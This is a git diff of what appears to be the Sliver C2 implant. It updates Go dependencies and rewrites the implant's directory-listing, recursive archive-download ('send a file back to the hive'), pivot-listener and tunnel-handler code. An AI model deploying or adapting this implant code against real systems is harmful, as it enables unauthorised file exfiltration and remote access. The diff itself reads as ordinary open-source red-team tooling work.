github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
@@ -96,11 +87,15 @@ require (
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/sergi/go-diff v1.1.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.5.1 // indirect
@@ -108,8 +103,10 @@ require (
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/yaml.v3 v3.0.0 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
+4 -21
View File
@@ -614,8 +614,6 @@ github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/Qd
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-shellwords v1.0.3/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o=
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
github.com/mattn/go-sqlite3 v1.14.12 h1:TJ1bhYJPV44phC+IMu1u2K/i5RriLTPe+yc68XDJ1Z0=
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
@@ -650,8 +648,8 @@ github.com/modern-go/reflect2 v0.0.0-20180320133207-05fbef0ca5da/go.mod h1:bx2lN
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/mohae/deepcopy v0.0.0-20170308212314-bb9b5e7adda9/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8=
github.com/moloch--/grumble v1.1.4 h1:/utJ405bbS2/Kx73XE03zqP1a3ZE9p3vqD3ePvsrG8o=
github.com/moloch--/grumble v1.1.4/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
github.com/moloch--/grumble v1.1.6 h1:FjPkuGOIwGL8nGkEH0EegnQgsl6Rn0R0fhBW/kcA0s8=
github.com/moloch--/grumble v1.1.6/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
github.com/mrunalp/fileutils v0.5.0/go.mod h1:M1WthSahJixYnrXQl/DFQuteStB1weuxD2QJNHXfbSQ=
@@ -1340,8 +1338,9 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0 h1:hjy8E9ON/egN1tAYqKb61G10WtihqetD4sz2H+8nIeA=
gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/mysql v1.0.3 h1:+JKBYPfn1tygR1/of/Fh2T8iwuVwzt+PEJmKaXzMQXg=
gorm.io/driver/mysql v1.0.3/go.mod h1:twGxftLBlFgNVNakL7F+P/x9oYqoymG3YYT8cAfI9oI=
gorm.io/driver/postgres v1.0.5 h1:raX6ezL/ciUmaYTvOq48jq1GE95aMC0CmxQYbxQ4Ufw=
@@ -1397,7 +1396,6 @@ modernc.org/cc/v3 v3.35.10/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g
modernc.org/cc/v3 v3.35.15/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.16/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.17/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.18 h1:rMZhRcWrba0y3nVmdiQ7kxAgOOSq2m2f2VzjHLgEs6U=
modernc.org/cc/v3 v3.35.18/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.20/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.22/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
@@ -1438,11 +1436,8 @@ modernc.org/ccgo/v3 v3.12.73/go.mod h1:hngkB+nUUqzOf3iqsM48Gf1FZhY599qzVg1iX+BT3
modernc.org/ccgo/v3 v3.12.81/go.mod h1:p2A1duHoBBg1mFtYvnhAnQyI6vL0uw5PGYLSIgF6rYY=
modernc.org/ccgo/v3 v3.12.84/go.mod h1:ApbflUfa5BKadjHynCficldU1ghjen84tuM5jRynB7w=
modernc.org/ccgo/v3 v3.12.86/go.mod h1:dN7S26DLTgVSni1PVA3KxxHTcykyDurf3OgUzNqTSrU=
modernc.org/ccgo/v3 v3.12.88/go.mod h1:0MFzUHIuSIthpVZyMWiFYMwjiFnhrN5MkvBrUwON+ZM=
modernc.org/ccgo/v3 v3.12.90/go.mod h1:obhSc3CdivCRpYZmrvO88TXlW0NvoSVvdh/ccRjJYko=
modernc.org/ccgo/v3 v3.12.92/go.mod h1:5yDdN7ti9KWPi5bRVWPl8UNhpEAtCjuEE7ayQnzzqHA=
modernc.org/ccgo/v3 v3.12.95 h1:Ym2JG2G3P4IyZqjTTojHTl7qO0RysXeGSYPSoKPSBxc=
modernc.org/ccgo/v3 v3.12.95/go.mod h1:ZcLyvtocXYi8uF+9Ebm3G8EF8HNY5hGomBqthDp4eC8=
modernc.org/ccgo/v3 v3.13.1/go.mod h1:aBYVOUfIlcSnrsRVU8VRS35y2DIfpgkmVkYZ0tpIXi4=
modernc.org/ccgo/v3 v3.15.9/go.mod h1:md59wBwDT2LznX/OTCPoVS6KIsdRgY8xqQwBV+hkTH0=
modernc.org/ccgo/v3 v3.15.10/go.mod h1:wQKxoFn0ynxMuCLfFD09c8XPUCc8obfchoVR9Cn0fI8=
@@ -1453,7 +1448,6 @@ modernc.org/ccgo/v3 v3.15.16/go.mod h1:XbKRMeMWMdq712Tr5ECgATYMrzJ+g9zAZEj2ktzBe
modernc.org/ccgo/v3 v3.15.17/go.mod h1:bofnFkpRFf5gLY+mBZIyTW6FEcp26xi2lgOFk2Rlvs0=
modernc.org/ccgo/v3 v3.15.18 h1:X5ym656Ye7/ubL+wox0SeF9aRX5od1UDFn1tAbQR+90=
modernc.org/ccgo/v3 v3.15.18/go.mod h1:/2lv3WjHyanEr2sAPdGKRC38n6f0werut9BRXUjjX+A=
modernc.org/ccorpus v1.11.1 h1:K0qPfpVG1MJh5BYazccnmhywH4zHuOgJXgbjzyp6dWA=
modernc.org/ccorpus v1.11.1/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
@@ -1494,12 +1488,8 @@ modernc.org/libc v1.11.82/go.mod h1:NF+Ek1BOl2jeC7lw3a7Jj5PWyHPwWD4aq3wVKxqV1fI=
modernc.org/libc v1.11.86/go.mod h1:ePuYgoQLmvxdNT06RpGnaDKJmDNEkV7ZPKI2jnsvZoE=
modernc.org/libc v1.11.87/go.mod h1:Qvd5iXTeLhI5PS0XSyqMY99282y+3euapQFxM7jYnpY=
modernc.org/libc v1.11.88/go.mod h1:h3oIVe8dxmTcchcFuCcJ4nAWaoiwzKCdv82MM0oiIdQ=
modernc.org/libc v1.11.90/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
modernc.org/libc v1.11.98/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
modernc.org/libc v1.11.99/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
modernc.org/libc v1.11.101/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
modernc.org/libc v1.11.104 h1:gxoa5b3HPo7OzD4tKZjgnwXk/w//u1oovvjSMP3Q96Q=
modernc.org/libc v1.11.104/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
modernc.org/libc v1.12.0/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
modernc.org/libc v1.14.1/go.mod h1:npFeGWjmZTjFeWALQLrvklVmAxv4m80jnG3+xI8FdJk=
modernc.org/libc v1.14.2/go.mod h1:MX1GBLnRLNdvmK9azU9LCxZ5lMyhrbEMK8rG3X/Fe34=
@@ -1517,27 +1507,20 @@ modernc.org/mathutil v1.4.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6
modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=
modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/memory v1.0.4/go.mod h1:nV2OApxradM3/OVbs2/0OsP6nPfakXpi50C7dcoHXlc=
modernc.org/memory v1.0.5 h1:XRch8trV7GgvTec2i7jc33YlUI0RKVDBvZ5eZ5m8y14=
modernc.org/memory v1.0.5/go.mod h1:B7OYswTRnfGg+4tDH1t1OeUNnsy2viGTdME4tzd+IjM=
modernc.org/memory v1.0.6/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
modernc.org/memory v1.0.7 h1:UE3cxTRFa5tfUibAV7Jqq8P7zRY0OlJg+yWVIIaluEE=
modernc.org/memory v1.0.7/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=
modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sqlite v1.14.3 h1:psrTwgpEujgWEP3FNdsC9yNh5tSeA77U0GeWhHH4XmQ=
modernc.org/sqlite v1.14.3/go.mod h1:xMpicS1i2MJ4C8+Ap0vYBqTwYfpFvdnPE6brbFOtV2Y=
modernc.org/sqlite v1.16.0 h1:DdvOGaWN0y+X7t2L7RUD63gcwbVjYZjcBZnA68g44EI=
modernc.org/sqlite v1.16.0/go.mod h1:Jwe13ItpESZ+78K5WS6+AjXsUg+JvirsjN3iIDO4C8k=
modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=
modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=
modernc.org/tcl v1.9.2 h1:YA87dFLOsR2KqMka371a2Xgr+YsyUwo7OmHVSv/kztw=
modernc.org/tcl v1.9.2/go.mod h1:aw7OnlIoiuJgu1gwbTZtrKnGpDqH9wyH++jZcxdqNsg=
modernc.org/tcl v1.11.2 h1:mXpsx3AZqJt83uDiFu9UYQVBjNjaWKGCF1YDSlpCL6Y=
modernc.org/tcl v1.11.2/go.mod h1:BRzgpajcGdS2qTxniOx9c/dcxjlbA7p12eJNmiriQYo=
modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=
modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.2.20 h1:DyboxM1sJR2NB803j2StnbnL6jcQXz273OhHDGu8dGk=
modernc.org/z v1.2.20/go.mod h1:zU9FiF4PbHdOTUxw+IF8j7ArBMRPsHgq10uVPt6xTzo=
modernc.org/z v1.3.2 h1:4GWBVMa48UDC7KQ9tnaggN/yTlXg+CdCX9bhgHPQ9AM=
modernc.org/z v1.3.2/go.mod h1:PEU2oK2OEA1CfzDTd+8E908qEXhC9s0MfyKp5LZsd+k=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
+332 -62
View File
@@ -82,6 +82,58 @@ func pingHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func determineDirPathFilter(targetPath string) (string, string) {
// The filter
filter := ""
// The path the filter applies to
path := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if targetPath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(targetPath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = targetPath
path = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
path = targetPath[:lastSeparatorOccurrence+1]
filter = targetPath[lastSeparatorOccurrence+1:]
}
} else {
path = targetPath
// filter remains blank
}
return path, filter
}
func pathIsDirectory(path string) bool {
fileInfo, err := os.Stat(path)
if err != nil {
return false
} else {
return fileInfo.IsDir()
}
}
func dirListHandler(data []byte, resp RPCResponse) {
dirListReq := &sliverpb.LsReq{}
err := proto.Unmarshal(data, dirListReq)
@@ -91,7 +143,19 @@ func dirListHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
dir, files, err := getDirList(dirListReq.Path)
// Handle the case where a directory is provided without a trailing separator
var targetPath string
if pathIsDirectory(dirListReq.Path) {
targetPath = dirListReq.Path + "/"
} else {
targetPath = dirListReq.Path
}
path, filter := determineDirPathFilter(targetPath)
dir, files, err := getDirList(path)
// Convert directory listing to protobuf
timezone, offset := time.Now().Zone()
@@ -102,19 +166,47 @@ func dirListHandler(data []byte, resp RPCResponse) {
dirList.Exists = false
}
dirList.Files = []*sliverpb.FileInfo{}
var match bool = false
var linkPath string = ""
for _, fileInfo := range files {
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
Name: fileInfo.Name(),
IsDir: fileInfo.IsDir(),
Size: fileInfo.Size(),
/* Send the time back to the client / server as the number of seconds
since epoch. This will decouple formatting the time to display from the
time itself. We can change the format of the time displayed in the client
and not have to worry about having to update implants.
*/
ModTime: fileInfo.ModTime().Unix(),
Mode: fileInfo.Mode().String(),
})
if filter == "" {
match = true
} else {
match, err = filepath.Match(filter, fileInfo.Name())
if err != nil {
// Then this is a bad filter, and it will be a bad filter
// on every iteration of the loop, so we might as well break now
break
}
}
if match {
// Check if this is a symlink, and if so, add the path the link points to
if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
linkPath, err = filepath.EvalSymlinks(path + fileInfo.Name())
if err != nil {
linkPath = ""
}
} else {
linkPath = ""
}
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
Name: fileInfo.Name(),
IsDir: fileInfo.IsDir(),
Size: fileInfo.Size(),
/* Send the time back to the client / server as the number of seconds
since epoch. This will decouple formatting the time to display from the
time itself. We can change the format of the time displayed in the client
and not have to worry about having to update implants.
*/
ModTime: fileInfo.ModTime().Unix(),
Mode: fileInfo.Mode().String(),
Link: linkPath,
})
}
}
// Send back the response
@@ -274,9 +366,41 @@ func pwdHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, int, int, error) {
/*
Combine the path and filter to see if the user wants
to download a single file
*/
fileInfo, err := os.Stat(path + filter)
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
if err != nil {
// Then we could not read the file
return nil, false, 0, 1, err
} else {
return rawData, false, 1, 0, nil
}
}
// If we are here, then the user wants multiple files (a directory or part of a directory)
var downloadData bytes.Buffer
readFiles, unreadableFiles, err := compressDir(path, filter, recurse, &downloadData)
return downloadData.Bytes(), true, readFiles, unreadableFiles, err
}
// Send a file back to the hive
func downloadHandler(data []byte, resp RPCResponse) {
var rawData []byte
/*
A flag for whether this is a directory - used if
this download is being looted
*/
var isDir bool
var download *sliverpb.Download
downloadReq := &sliverpb.DownloadReq{}
err := proto.Unmarshal(data, downloadReq)
if err != nil {
@@ -287,44 +411,42 @@ func downloadHandler(data []byte, resp RPCResponse) {
return
}
target, _ := filepath.Abs(downloadReq.Path)
fi, err := os.Stat(target)
if err != nil {
//{{if .Config.Debug}}
log.Printf("stat failed on %s: %v", target, err)
//{{end}}
download := &sliverpb.Download{Path: target, Exists: false}
download.Response = &commonpb.Response{
Err: err.Error(),
}
data, err = proto.Marshal(download)
resp(data, err)
return
}
if fi.IsDir() {
var dirData bytes.Buffer
err = compressDir(target, &dirData)
// {{if .Config.Debug}}
log.Printf("error creating the archive: %v", err)
// {{end}}
rawData = dirData.Bytes()
} else {
rawData, err = ioutil.ReadFile(target)
if pathIsDirectory(target) {
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
target += "/"
}
var download *sliverpb.Download
if err == nil {
path, filter := determineDirPathFilter(target)
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse)
if err != nil {
if isDir {
// {{if .Config.Debug}}
log.Printf("error creating the archive: %v", err)
// {{end}}
} else {
//{{if .Config.Debug}}
log.Printf("error while preparing download for %s: %v", target, err)
//{{end}}
}
download = &sliverpb.Download{Path: target, Exists: false, ReadFiles: int32(readFiles), UnreadableFiles: int32(unreadableFiles)}
download.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
} else {
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, rawData)
download = &sliverpb.Download{
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
}
} else {
download = &sliverpb.Download{Path: target, Exists: false}
download.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
ReadFiles: int32(readFiles),
UnreadableFiles: int32(unreadableFiles),
Response: &commonpb.Response{},
}
}
@@ -604,49 +726,197 @@ func gzipRead(data []byte) ([]byte, error) {
return buf.Bytes(), nil
}
func compressDir(path string, buf io.Writer) error {
func standarizeArchiveFileName(path string) string {
// Change all backslashes to forward slashes
var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
/*
Remove the volume / root from the directory
path. This makes it so that files on the
system where the archive is extracted to
will not be clobbered.
Tried with filepath.VolumeName, but that function
does not work reliably with Windows paths
*/
if strings.HasPrefix(standardFilePath, "//") {
// If this a UNC path, filepath.Rel is not going to work
return standardFilePath[2:]
} else {
// Calculate a path relative to the root
pathParts := strings.SplitN(standardFilePath, "/", 2)
if len(pathParts) < 2 {
// Then something is wrong with this path
return standardFilePath
}
basePath := pathParts[0]
fileRelPath := pathParts[1]
if basePath == "" {
// If base path is blank, that means it started with / and / is the root
return fileRelPath
} else {
/*
Then this is almost certainly Windows, and we will set the archive up
so that it preserves the path but without the colon.
Something like:
c/windows/system32/file.whatever
Colons are not legal in Windows filenames, so let's get rid of them.
*/
basePath = strings.ReplaceAll(basePath, ":", "")
basePath = strings.ToLower(basePath)
return basePath + "/" + fileRelPath
}
}
}
func compressDir(path string, filter string, recurse bool, buf io.Writer) (int, int, error) {
zipWriter := gzip.NewWriter(buf)
tarWriter := tar.NewWriter(zipWriter)
readFiles := 0
unreadableFiles := 0
var matchingFiles []string
/*
There is an edge case where if you are trying to download a junction on Windows,
you will get access denied
To resolve this, we will resolve the junction or symlink before we do anything.
Even though resolving the symlink first is not necessary on *nix, it does not hurt
and will make it so that we do not have to detect if we are on Windows.
*/
pathInfo, err := os.Lstat(path)
if err != nil {
return readFiles, unreadableFiles, err
}
if pathInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
path, err = filepath.EvalSymlinks(path)
if err != nil {
return readFiles, unreadableFiles, err
}
// The path we get back from EvalSymlinks does not have a trailing separator
// Forward slash is fine even on Windows.
path += "/"
}
/*
Build the list of files to include in the archive.
Walking the directory can take a long time and do a lot of unnecessary work
if we do not need to recurse through subdirectories.
If we are not recursing, then read the directory without worrying about
subdirectories.
*/
if !recurse {
testPath := strings.ReplaceAll(path, "\\", "/")
directory, err := os.Open(path)
if err != nil {
return readFiles, unreadableFiles, err
}
directoryFiles, err := directory.Readdirnames(0)
directory.Close()
if err != nil {
return readFiles, unreadableFiles, err
}
for _, fileName := range directoryFiles {
standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
if filter != "" {
match, err := filepath.Match(testPath+filter, standardFileName)
if err == nil && match {
matchingFiles = append(matchingFiles, standardFileName)
}
} else {
matchingFiles = append(matchingFiles, standardFileName)
}
}
} else {
filepath.WalkDir(path, func(file string, d os.DirEntry, err error) error {
filePath := strings.ReplaceAll(file, "\\", "/")
if filter != "" {
// Normalize paths
testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
match, matchErr := filepath.Match(testPath+filter, filePath)
if !match || matchErr != nil {
// If there is an error, it is because the filter is bad, so it is not a match
return nil
}
matchingFiles = append(matchingFiles, file)
} else {
matchingFiles = append(matchingFiles, file)
}
return nil
})
}
for _, file := range matchingFiles {
fi, err := os.Stat(file)
if err != nil {
// Cannot get info on the file, so skip it
unreadableFiles += 1
continue
}
fileName := standarizeArchiveFileName(file)
filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
fileName := file
// If the file is a SymLink replace fileInfo and path with the symlink destination.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
file, err = filepath.EvalSymlinks(file)
if err != nil {
return err
unreadableFiles += 1
continue
}
fi, err = os.Lstat(file)
if err != nil {
return err
unreadableFiles += 1
continue
}
}
header, err := tar.FileInfoHeader(fi, file)
if err != nil {
return err
unreadableFiles += 1
continue
}
// Keep the symlink file path for the header name.
header.Name = filepath.ToSlash(fileName)
if err := tarWriter.WriteHeader(header); err != nil {
return err
}
// Check that we can open the file before we try to write it to the archive
if !fi.IsDir() {
data, err := os.Open(file)
if err != nil {
return err
// Skip this file and do not write it to the archive.
unreadableFiles += 1
continue
}
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
data.Close()
continue
}
if _, err := io.Copy(tarWriter, data); err != nil {
return err
unreadableFiles += 1
data.Close()
continue
}
data.Close()
readFiles += 1
} else {
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
continue
}
}
return nil
})
}
if err := tarWriter.Close(); err != nil {
return err
return readFiles, unreadableFiles, err
}
if err := zipWriter.Close(); err != nil {
return err
return readFiles, unreadableFiles, err
}
return nil
return readFiles, unreadableFiles, nil
}
+2 -1
View File
@@ -70,7 +70,7 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
}
if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
listener, err := createListener(req.BindAddress, connection.Send)
listener, err := createListener(req.BindAddress, connection.Send, req.Options...)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
@@ -111,6 +111,7 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
return
}
pivots.StopListener(req.ID)
pivots.RemoveListener(req.ID)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: []byte{},
+6 -448
View File
@@ -19,36 +19,24 @@ package handlers
*/
import (
"context"
"fmt"
"io"
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/things-go/go-socks5"
"google.golang.org/protobuf/proto"
)
var (
tunnelHandlers = map[uint32]TunnelHandler{
sliverpb.MsgShellReq: shellReqHandler,
sliverpb.MsgPortfwdReq: portfwdReqHandler,
sliverpb.MsgSocksData: socksReqHandler,
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
sliverpb.MsgSocksData: tunnel_handlers.SocksReqHandler,
sliverpb.MsgTunnelData: tunnelDataHandler,
sliverpb.MsgTunnelClose: tunnelCloseHandler,
sliverpb.MsgTunnelData: tunnel_handlers.TunnelDataHandler,
sliverpb.MsgTunnelClose: tunnel_handlers.TunnelCloseHandler,
}
// TunnelID -> Sequence Number -> Data
tunnelDataCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
)
// GetTunnelHandlers - Returns a map of tunnel handlers
@@ -58,433 +46,3 @@ func GetTunnelHandlers() map[uint32]TunnelHandler {
// {{end}}
return tunnelHandlers
}
func tunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelClose := &sliverpb.TunnelData{
Closed: true,
}
proto.Unmarshal(envelope.Data, tunnelClose)
tunnel := connection.Tunnel(tunnelClose.TunnelID)
if tunnel != nil {
// {{if .Config.Debug}}
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Reader.Close()
tunnel.Writer.Close()
delete(tunnelDataCache, tunnel.ID)
}
}
func tunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(envelope.Data, tunnelData)
tunnel := connection.Tunnel(tunnelData.TunnelID)
if tunnel != nil {
if _, ok := tunnelDataCache[tunnelData.TunnelID]; !ok {
tunnelDataCache[tunnelData.TunnelID] = map[uint64]*sliverpb.TunnelData{}
}
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
// to ensure we write the data back to the reader in the correct order. The server will ensure
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
// correctly write them back to the reader.
// {{if .Config.Debug}}
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
// {{end}}
//Added a thread lock here because the incrementing of the ReadSequence, adding/deleting things from a shared cache,
//and then making decisions based on the current size of the cache by multiple threads can cause race conditions errors
var l sync.Mutex
l.Lock()
